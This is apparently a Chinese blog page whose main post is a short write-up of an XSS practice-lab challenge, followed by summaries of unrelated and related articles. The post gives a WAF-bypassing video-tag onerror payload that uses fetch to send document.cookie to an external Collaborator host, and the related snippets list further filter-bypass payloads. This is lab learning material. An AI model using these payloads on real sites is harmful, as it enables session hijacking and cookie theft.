墨衍会员
·
AI 创作全网分发
墨衍智能分发
本文由作者通过墨衍一键同步至各平台
1分发平台
100+累计阅读
63平均单平台
已同步平台
优快云
微信公众号
微博
知乎
掘金
百家号
博客园
抖音
小红书
你的文章也可以这样分发
墨衍会员 ¥399起/年，写一次发全网
我也要
师傅们，俺又来了，今天继续打xss靶场，今天靶场的标题是《我爱看视频你爱看什么？》
还是老样子，先试试<script>和<img>标签，都被waf拦截了
看看靶场名字，叫我爱看视频你爱看什么？难道跟嵌入视频有关，用视频标签试试。
<video src=x onerror=alert(1)>，没有拦截，弹框了，照样掏出bp。
直接collaborator，collaborator的用法看上一章。填入文本框以下内容，然后提交
<video src=x onerror="fetch('http://m0nr9ue3npdo3i383l7dvw37kyqpef24.oastify.com/?'+document.cookie)">
再点bp的立即轮询
直接获得flag，顺利过关
Deepface实战避坑：人脸识别模型VGG-Face、Facenet、ArcFace怎么选？附各模型性能与速度实测对比
本文深入对比了DeepFace框架中VGG-Face、Facenet和ArcFace三种主流人脸识别模型的性能与适用场景，提供了详细的实测数据和选型建议。通过分析各模型在CPU/GPU环境下的推理速度、内存占用和准确率表现，帮助开发者根据实际需求（如门禁系统、相册分类或视频流分析）选择最优模型，并给出工程化部署的避坑指南和优化技巧。
道心网络安全学习笔记系列之好靶场的XSS靶场2
本文介绍了两种利用图片标签绕过WAF防护的方法：一是通过POST请求的fetch脚本，二是通过GET方式的img标签注入。当POST请求被拦截时，可改用img标签的onerror事件触发fetch请求，将cookie发送到临时域名，最终在bp轮询中获取flag。相比之下，GET方法更为简便有效。文章演示了如何利用这些技术突破安全防护，实现数据窃取。
JSAPI微信支付(小程序)V3版本JAVA代码实战源码
1.1、商户通过JSAPI/小程序下单接口获取到发起支付的必要参数prepay_id后，再通过微信小程序调起微信支付收银台JSAPI/小程序下单_JSAPI支付|微信支付商户文档中心1.3、微信H5发起类似，结合文档，细微调整，前端返回类似，参考文档修改为微信内置浏览器调起支付即可。
XSS(三)
向下滑可以看到一个输入框，还可以看到提示(你可以通过alert来测试poc)( POC 是 “Proof of Concept” 的缩写，翻译过来叫 “概念验证”， 简单说：POC 就是一段用来证明 “某个漏洞确实存在” 的代码 / 脚本 / 操作步骤—— 它不是用来搞破坏的，而是用来 “测试验证” 的工具。它是最常见的XSS漏洞之一，恶意代码不会存到网站服务器里，只是借着网站的手，“反射”到你的浏览器里执行，就像快递代收点没检查包裹，把黑客塞的“毒纸条”直接转交给你，你还傻乎乎照着做了。
Openwork 入门指南：开源 AI 桌面助手快速上手
Openwork是一款开源的AI桌面代理工具，提供类似Claude Cowork的免费替代方案。它支持本地运行，确保隐私安全，并能高效处理文件整理、文档读写等任务。支持多种AI模型，通过MIT许可完全免费。安装简单，仅需运行命令行或下载桌面版，需配置API Key后即可使用。操作直观，支持多步骤规划和权限控制，适合自动化重复工作。目前主要支持macOS，未来将扩展至Windows/Linux。建议从简单任务入手，逐步掌握这一高效的数字助手工具。
PCL 读取和保存点云
PCL (Point Cloud Library) 是一个用于处理 3D 点云数据的开源库。在处理点云数据时，常见的任务包括点云的读写和可视化。PCL 提供了强大的 IO 模块来读取和写入各种格式的点云文件，并且提供了可视化模块来对点云进行渲染和显示。点云的读写与显示是很多 3D 数据处理任务的基础步骤，通过这些步骤，可以对点云进行预处理、分析和操作。
XSS练习WP（好靶场+ctfshow+XSS-lab）
\u0061\u006C\u0065\u0072\u0074(1)</script> //Unicode码 还有十六进制 URL编码 JS编码 HTML实体编码等等<script>alert/*dsa*/(1)</script> //绕过黑名单<script>(alert)(1)
AI Agent驱动的多模态情感分析方法：从BERT到Vision Transformer的探索
情感分析（Sentiment Analysis）是自然语言处理（NLP）与计算机视觉（CV）中一项重要任务。传统的情感分析主要依赖于文本数据，但在现实应用中，情感往往通过 语言、语音、表情、姿态 等多模态信号共同传达。因此，结合 多模态深度学习 的 AI Agent 在情感理解中具有广阔的前景。
道心网络安全学习笔记系列之好靶场的XSS靶场
摘要：本文分享了XSS获取Cookie的实战过程。作者尝试用alert获取Cookie失败后，发现需要通过XSS平台窃取管理员Cookie。在尝试多个XSS平台未果后，改用Burp Suite的Collaborator功能：构造包含fetch请求的恶意脚本，将Cookie发送到临时域名，成功在请求包中获取flag。文章详细记录了问题解决思路和具体操作步骤，为XSS漏洞利用提供了实用参考。
Flask基础项目：从零到一搭建用户管理系统
本文介绍了一个基于Flask的用户管理系统，具有完整的增删改查功能。系统采用SQLAlchemy ORM进行数据库操作，自动处理SQL注入并首次运行时创建表结构。主要特点包括：实时统计用户总数和平均年龄、智能即时搜索、前后端双重数据验证、邮箱唯一性检查、流畅动画效果和响应式设计。后端使用Flask框架实现RESTful API，前端采用现代化UI设计，支持异步操作不阻塞界面。系统安装简单，只需创建数据库并安装依赖即可运行，适合作为基础用户管理系统的参考实现。
学Simulink——基于电能质量治理的场景实例：静止无功发生器(SVG)与并网逆变器的结合
本文详细介绍了基于Simulink的SVG与光伏并网逆变器联合仿真建模方法。系统包含光伏单元、SVG主电路、控制策略（无功检测+双闭环控制）等模块，通过ip-iq法实现动态无功补偿。仿真结果表明，SVG能快速响应负载变化，将功率因数提升至0.98以上，有效稳定母线电压。该方案为新能源并网系统提供了有功/无功协同控制解决方案，具有10ms级响应速度和±5kvar补偿能力。文章提供了完整的建模流程、控制算法实现和结果分析，可作为电力电子与电能质量治理领域的实践指导。
前沿模型论坛发布越狱评级框架：给网络安全类越狱分等级，决定先修哪个
前沿模型论坛发布越狱评级框架：给网络安全类越狱分等级，决定先修哪个
HyperLynx（十四）高级分析技术
如果没有查找到该模型，可使用菜单命令“Setup”→“Options”→“Directories”，打开“Set Directories”对话框，单击“Edit”按钮，在“Select Directories for IC-Model Files”对话框中将路径“…在“Assign Models”对话框中的“Port”栏找到“OUTM”端口，在其对应的“Circuit Connection”栏中选择“txout”项。将端口R75连接到“Gnd”。同样，将“EMP”连接到“V”，完成预加重设置。...
GPT-6 Cyber 正式发布：OpenAI 网络安全专项模型，一次扫出 948 个 Linux 漏洞（2026年11月）
发布日期：2026-11-06 ｜ 数据截至 2026-11-06，来源为 OpenAI 官方博客、东方财富、百家号、36氪等公开报道2026年11月5日，OpenAI 正式推出 GPT-6 Cyber，这是继 GPT-5.6 Cyber 之后的网络安全专项大模型，也是 OpenAI Preparedness 框架下首个被评定为"Critical"（最高档）网络安全能力的模型。
Probability and Statistics - 4th edition
Probability and Statistics - 4th edition
jre9下载 jdk9
(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】
Cisco设备网络安全系列-22：安全自动化工作流与CI/CD流水线安全实践
某金融科技公司因忽视安全嵌入，导致自动化流水线推送不合规变更，引发数据泄露。课程揭示自动化工作流四大安全风险：配置错误、漏洞扩散、缺乏监督与合规不一致。提出以“左移安全”和“策略即代码”为核心，将SAST、SCA、IaC扫描等工具集成至CI/CD流水线，实现漏洞实时检测、早期修复与持续合规。结合AI/ML赋能，提升威胁识别与优先级排序能力。最终实现安全与速度并行，构建可审计、可扩展的“安全内置”交付体系。
C# WinForm 基于DirectShow.dll编写的程序，可边预览边保存视频，音频和图片
基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择（默认选中第一个）2.可录制wmv和avi两种格式的视频并且都带有音频，avi可以录制的分辨率和帧数进行选择，wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照，也可边录制视频边拍照4.添加了视频和音频的压缩功能（酌情使用）这次二次开发发现C#对DirectShow的相关信息太少，这次做完也不敢藏私共享出来，还望大家指正
网络安全实战第21期：一次完整的注入风险验证与记录
本文系统梳理了注入风险验证的完整流程：从定位参数、确认注入可区分，到摸结构、定量影响，最终以可复现记录收尾。强调“只读”原则，仅验证至能读取非预期数据即止，避免越界。重点突出判断链条的严谨性与记录的可复现性，提出修复建议需具体到代码层级。核心结论：漏洞本质是数据与语法的混淆，修复关键在于分离。
Outlook Express 6 (OE6) for Win7/Win8/Win10
英文版 Outlook Express6.0， 兼容Win7/Win10/WinXP，解压就可用。
网络安全案例2：rip路由协议，路由协议的获取
rip协议是一种距离矢量协议，（跳数《=15）属于IGP（内部网关协议）协议，还有一个协议为（EGP，主要BGP（外部网关协议）协议），AS是一个计算机的自治系统，用于内部网络的管理，提高网络的可达性，安全和自治。ripv2是无类别路由协议，支持VLSM和CIDR，以组播形式发送报文，支持验证明文验证和MD5密文验证。rip通过作用分为：IGP/EGP，按协议算法分为距离矢量，链路状态，按业务分为：单播和组播。因为ripv1是有类别路由协议，不支持VLSM和CIDR，以广播形式发送报文，不支持验证。
新手勇闯网络安全 | 密码学（二）
深入 HTTPS 混合加密的完整握手流程，理解非对称加密如何安全交换对称密钥；拆解 JWT 三段结构（Header/Payload/Signature）及签名防篡改原理，剖析 alg:none 攻击、弱密钥爆破、只解码不验证三大漏洞；对比密码存储错误写法与正确做法，掌握 bcrypt 和 Argon2 使用。
网络安全实战第28期：第四周的收尾
本周聚焦客户端（XSS）与服务端（文件上传）两条安全线索，发现其根因均为“系统信任了不该信任的输入”。通过三步验证法厘清XSS类型，以三大判断点确认文件上传风险，最终提炼出统一防护原则：数据应始终被视为数据，杜绝其变代码。报告撰写强调证据链完整，定级需有据可依，避免夸大。总结三要义：同源根因、白名单优先、警惕漏洞后纵深风险。下周将进入全流程测试阶段。
【一周安全资讯】中央网络安全和信息化委员会印发《国家信息化“十五五”规划》；2.7万台云桌面服务器被植入恶意软件
规划》提出“建设三个体系、提升五个水平、夯实两个支撑”总体布局，部署建设新型信息基础设施体系、建设网信科技创新体系、建设网信产业生态体系、提升现代治理水平、提升信息惠民水平、提升数字化绿色化协同水平、提升区域协调水平、提升开放发展水平、夯实安全保障支撑、夯实法规标准支撑等10个方面具体任务，并设置信息基础设施创新发展工程、网信科技创新突破工程、网信产业生态发展工程、智能社会发展与治理行动、重点区域信息化协同发展行动、网信企业海外发展行动、数据跨境流动便利化提升行动等7个专栏。2.67 万台服务器受波及。
【网络安全】IoT 安全基础
IoT 安全更像是一个工程问题。
网络安全实战第17期：自动化检测误报漏报真相
自动化注入检测工具通过分析参数输入与响应差异进行统计判断，输出“存在注入”结论，但本质为分类而非证明。其误报源于随机内容干扰，漏报因阈值过严或网络波动，分类错则因多技术特征重叠。关键风险在于会话失效、参数未带入或引号缺失导致扫描失败，常被误读为无漏洞。工具结果需手工复现验证，报告应区分“工具报出”与“已复现”两档。核心原则：工具不提供事实，只提供线索；状态管理与边界核对是避免误判的基石。
网络安全实战第20期：四个场景的综合验证
网络安全实战 90 天 · Week 3 注入风险 | 难度 ★★★ 进阶 | 关键词：综合验证 防护级别 请求构造 只读判断 记录规范前面四篇各讲一个侧面：原理、推理链、自动化工具、盲通道、过滤失效。这篇把它们串起来，在同一个靶场的四个防护级别上走一遍，重点不是「能不能打进去」，而是。
Cisco设备网络安全系列-21：修改设计以降低迁移风险
本文概述风险管理的核心概念，强调其在应对财务、运营、战略、合规、声誉及网络安全等风险中的重要性。通过五步流程（识别、评估、缓解、监控、沟通），结合NIST RMF、CSF、ISO31000等框架，帮助IT安全人员系统化管理风险。重点指出低概率低影响风险宜采用“风险接受”，风险矩阵用于评估阶段的优先级排序。
网络安全案例1：远程登陆实战
用第二个路由器直接登录第一个需要输入密码，即可登录，第三个路由器需要先登录第二个路由器才可以再次登录第一个路由器。配置IP地址：如图IP地址所示，配置完ip地址需要先用ping命令去测试两个路由器之间是否互通。其他两个路由器的指令一样。
Eurotherm EPC3000 可编程过程/温度控制器深度解析：从高精度控制到网络安全的一体化方案
Eurotherm EPC3000 是一台"高精度、可编程、可联网、够安全"的单回路过程控制器，代表了现代温控表的发展方向：测量更准、响应更快、通讯更开放、网络更安全。对于正在升级产线、推进数字化与网络安全的工程师而言，它提供了一个既有传统温控可靠性、又具备工业物联网接入能力的一体化方案。
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
305
扫一扫
